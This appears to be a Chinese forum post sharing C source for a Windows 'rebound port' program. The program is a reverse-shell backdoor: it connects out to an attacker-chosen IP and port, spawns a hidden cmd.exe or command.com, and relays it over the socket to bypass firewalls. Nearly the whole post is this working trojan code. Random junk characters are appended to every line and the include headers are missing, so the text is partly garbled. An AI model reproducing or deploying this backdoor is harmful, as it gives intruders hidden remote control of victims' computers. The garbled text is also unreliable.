这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D.su^m_1
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/* ============================== N6EG!*
Rebound port in Windows NT }}G`yfs}r
By wind,2006/7 c>mTd{Abi
===============================*/ v4OroG=^
#include #-W
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#include i_Ol vuy~
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#pragma comment(lib,"wsock32.lib") 8`Ih>
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void OutputShell(); x5jd2wSDx
SOCKET sClient; g:8k,1y5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v)1@Ew=Y%
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void main(int argc,char **argv) fAYp\k
{ c'O"</
WSADATA stWsaData; LYhjI
int nRet; 'ioX,KD
SOCKADDR_IN stSaiClient,stSaiServer; UXgeL2`;
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if(argc != 3) RA^6c![
{ yzWVUqtXm
printf("Useage:\n\rRebound DestIP DestPort\n"); 1)Z4
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return; '3Ro`p{
} S+2we
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WSAStartup(MAKEWORD(2,2),&stWsaData); C)hS^D:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tg/?v3M88
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stSaiClient.sin_family = AF_INET; \
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stSaiClient.sin_port = htons(0); xe`SnJgA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >W>3w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &uP,w#
{ ((Uw[8#2`
printf("Bind Socket Failed!\n"); JIL(\d
return; q!f'?yFYK
} GBSuTu8
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stSaiServer.sin_family = AF_INET; *E.uqu>I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b@X+vW{S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;x,yGb`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V10JExsJ
{ wNvq['P
printf("Connect Error!"); &a8%j+j
return; $&Lw 2 c0
} s'B$/qCkR
OutputShell(); kltorlH
} z"\<GmvB
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void OutputShell() |\FJ
{ 7<0oK|~c#
char szBuff[1024]; o)WzZ,\F^J
SECURITY_ATTRIBUTES stSecurityAttributes; T-F8[dd^/
OSVERSIONINFO stOsversionInfo; BN1,R] *;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7hlzuZob+y
STARTUPINFO stStartupInfo; [hJASX9
char *szShell; OE/r0C<&
PROCESS_INFORMATION stProcessInformation; ~P fk
unsigned long lBytesRead; p'4ZcCW?f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Vo[zo
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \2 Yo*jE}
stSecurityAttributes.lpSecurityDescriptor = 0; / _Fi4wZ
stSecurityAttributes.bInheritHandle = TRUE; L"L a|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \SooIEl@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (V>/[Ev
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F%I*m^7d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *5mJA -[B+
stStartupInfo.wShowWindow = SW_HIDE; PNpH)'C|
stStartupInfo.hStdInput = hReadPipe; Y z],["*Q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]]hsLOM]
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GetVersionEx(&stOsversionInfo); .-:@+=(
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switch(stOsversionInfo.dwPlatformId) b6^#{))"
{ mr+8[0
case 1: ;F:Qz^=.a
szShell = "command.com"; COL_c<\
break; <3 I0$?xL
default: ~}Z'/zCZf
szShell = "cmd.exe"; /Z2 g>
break; snVeOe#'S
} oz'^.+uvE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7#sb},J{
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send(sClient,szMsg,77,0); ]GiDfYs7%
while(1) \4|osZ0y
{ e0g>.P@6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6oLZH6fG
if(lBytesRead) Bg}(Sy
{ x8Nij:K#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i}kMo@
send(sClient,szBuff,lBytesRead,0); {^@qfkZz^
} b/UjKNf@
else |#5_VEG
{ `7Dj}vVu
lBytesRead=recv(sClient,szBuff,1024,0); !}J19]\
if(lBytesRead<=0) break; D n}TO*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +pjU4>)
} 5wI j:s
} pbNW
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return; +||[H)qym
}